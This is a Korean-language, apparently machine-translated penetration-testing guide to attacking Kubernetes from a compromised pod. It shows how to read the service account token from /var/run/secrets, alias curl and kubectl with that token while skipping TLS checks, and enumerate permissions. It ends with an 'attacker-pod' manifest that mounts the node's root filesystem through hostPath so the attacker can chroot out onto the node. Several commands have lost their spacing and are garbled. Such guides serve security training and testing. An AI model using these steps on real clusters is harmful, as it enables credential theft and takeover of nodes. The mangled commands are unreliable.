“포드를 생성할 때 서비스 계정을 지정하지 않으면 동일한 네임스페이스의 기본 서비스 계정이 자동으로 할당됩니다.”
ServiceAccount는 Kubernetes에 의해 관리되는 객체로, 포드에서 실행되는 프로세스에 대한 신원을 제공하는 데 사용됩니다.
모든 서비스 계정은 관련된 비밀을 가지고 있으며 이 비밀에는 베어러 토큰이 포함되어 있습니다. 이는 두 당사자 간에 클레임을 안전하게 표현하는 방법인 JSON 웹 토큰(JWT)입니다.
일반적으로 하나의 디렉토리:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
는 다음 파일을 포함합니다:
ca.crt: Kubernetes 통신을 확인하기 위한 CA 인증서입니다.
namespace: 현재 네임스페이스를 나타냅니다.
token: 현재 포드의 서비스 토큰을 포함합니다.
이제 토큰을 가지고 있으므로 환경 변수 KUBECONFIG 내에서 API 서버를 찾을 수 있습니다. 더 많은 정보는 (env | set) | grep -i "kuber|kube**"**를 실행하여 확인하세요.
서비스 계정 토큰은 sa.key 파일에 있는 키로 서명되고 sa.pub로 검증됩니다.
Kubernetes의 기본 위치:
/etc/kubernetes/pki
Minikube의 기본 위치:
/var/lib/localkube/certs
Hot Pods
Hot pods는 특권 서비스 계정 토큰을 포함하는 포드입니다. 특권 서비스 계정 토큰은 비밀 목록 작성, 포드 생성 등과 같은 특권 작업을 수행할 수 있는 권한이 있는 토큰입니다.
RBAC
RBAC가 무엇인지 모른다면 이 섹션을 읽어보세요.
GUI Applications
k9s: 터미널에서 Kubernetes 클러스터를 열거하는 GUI입니다. https://k9scli.io/topics/commands/에서 명령어를 확인하세요. :namespace를 입력하고 모두 선택한 후 모든 네임스페이스에서 리소스를 검색합니다.
유효한 인증 토큰. 이전 섹션에서 사용자 토큰과 서비스 계정 토큰을 검색하는 방법을 보았습니다.
Kubernetes API의 주소 (https://host:port). 이는 일반적으로 환경 변수 및/또는 kube 구성 파일에서 찾을 수 있습니다.
선택 사항: API 서버를 검증하기 위한 ca.crt. 이는 토큰을 찾을 수 있는 동일한 장소에서 찾을 수 있습니다. 이는 API 서버 인증서를 검증하는 데 유용하지만, kubectl에서 --insecure-skip-tls-verify를 사용하거나 curl에서 -k를 사용하면 필요하지 않습니다.
이 세부정보를 통해 Kubernetes를 열거할 수 있습니다. API가 어떤 이유로 인터넷을 통해 접근 가능하다면, 해당 정보를 다운로드하고 호스트에서 플랫폼을 열거할 수 있습니다.
그러나 일반적으로 API 서버는 내부 네트워크에 있습니다, 따라서 손상된 기계를 통해 터널을 생성하여 내 기계에서 접근해야 하며, 또는 kubectl 바이너리를 업로드하거나 **curl/wget/anything**을 사용하여 API 서버에 대한 원시 HTTP 요청을 수행할 수 있습니다.
Differences between list and get verbs
get 권한으로 특정 자산의 정보를 접근할 수 있습니다 (describe 옵션 in kubectl) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
만약 list 권한이 있다면, 자산 유형을 나열하기 위해 API 요청을 실행할 수 있습니다 (kubectl의 get 옵션):
#In a namespaceGET/apis/apps/v1/namespaces/{namespace}/deployments#In all namespacesGET/apis/apps/v1/deployments
만약 watch 권한이 있다면, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
그들은 변경될 때마다(또는 새로 생성될 때마다) 배포의 전체 매니페스트를 반환하는 스트리밍 연결을 엽니다.
다음 kubectl 명령은 객체를 나열하는 방법을 나타냅니다. 데이터를 액세스하려면 get 대신 describe를 사용해야 합니다.
curl 사용하기
포드 내부에서 여러 환경 변수를 사용할 수 있습니다:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccountexport NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)export TOKEN=$(cat ${SERVICEACCOUNT}/token)export CACERT=${SERVICEACCOUNT}/ca.crtalias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""# if kurl is still got cert Error, using -k option to solve this.
기본적으로 pod는 kubernetes.default.svc 도메인 이름에서 kube-api 서버에 접근할 수 있으며, 여기에서 kubernetes DNS 서버의 주소를 찾을 수 있는 **/etc/resolv.config**에서 kube 네트워크를 볼 수 있습니다 (같은 범위의 ".1"은 kube-api 엔드포인트입니다).
kubectl 사용하기
토큰과 API 서버의 주소를 가지고 kubectl 또는 curl을 사용하여 여기에 표시된 대로 접근합니다:
기본적으로, APISERVER는 https:// 스키마로 통신합니다.
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]'# Use --all-namespaces to always search in all namespaces
만약 URL에 https://가 없다면, Bad Request와 같은 오류가 발생할 수 있습니다.
kapi-resources--namespaced=true#Resources specific to a namespacekapi-resources--namespaced=false#Resources NOT specific to a namespace
현재 권한 가져오기
kauthcan-i--list#Get privileges in generalkauthcan-i--list-ncustnamespace#Get privileves in custnamespace# Get service account permissionskauthcan-i--list--as=system:serviceaccount:<namespace>:<sa_name>-n<namespace>
새로운 포드를 생성할 수 있다면, 포드에서 노드로 탈출할 수 있을지도 모릅니다. 이를 위해서는 yaml 파일을 사용하여 새로운 포드를 생성하고, 생성된 포드로 전환한 다음, 노드의 시스템으로 chroot해야 합니다. 기존 포드를 참조하여 yaml 파일을 작성할 수 있으며, 기존 이미지와 경로를 표시합니다.
kubectlgetpod<name> [-n <namespace>]-oyaml
특정 노드에 포드를 생성해야 하는 경우, 다음 명령어를 사용하여 노드의 레이블을 가져올 수 있습니다.
k get nodes --show-labels
일반적으로, kubernetes.io/hostname 및 node-role.kubernetes.io/master는 선택하기에 좋은 레이블입니다.
그런 다음 attack.yaml 파일을 생성합니다.
apiVersion:v1kind:Podmetadata:labels:run:attacker-podname:attacker-podnamespace:defaultspec:volumes:- name:host-fshostPath:path:/containers:- image:ubuntuimagePullPolicy:Alwaysname:attacker-podcommand: ["/bin/sh","-c","sleep infinity"]volumeMounts:- name:host-fsmountPath:/rootrestartPolicy:Never# nodeName and nodeSelector enable one of them when you need to create pod on the specific node#nodeName: master#nodeSelector:# kubernetes.io/hostname: master# or using# node-role.kubernetes.io/master: ""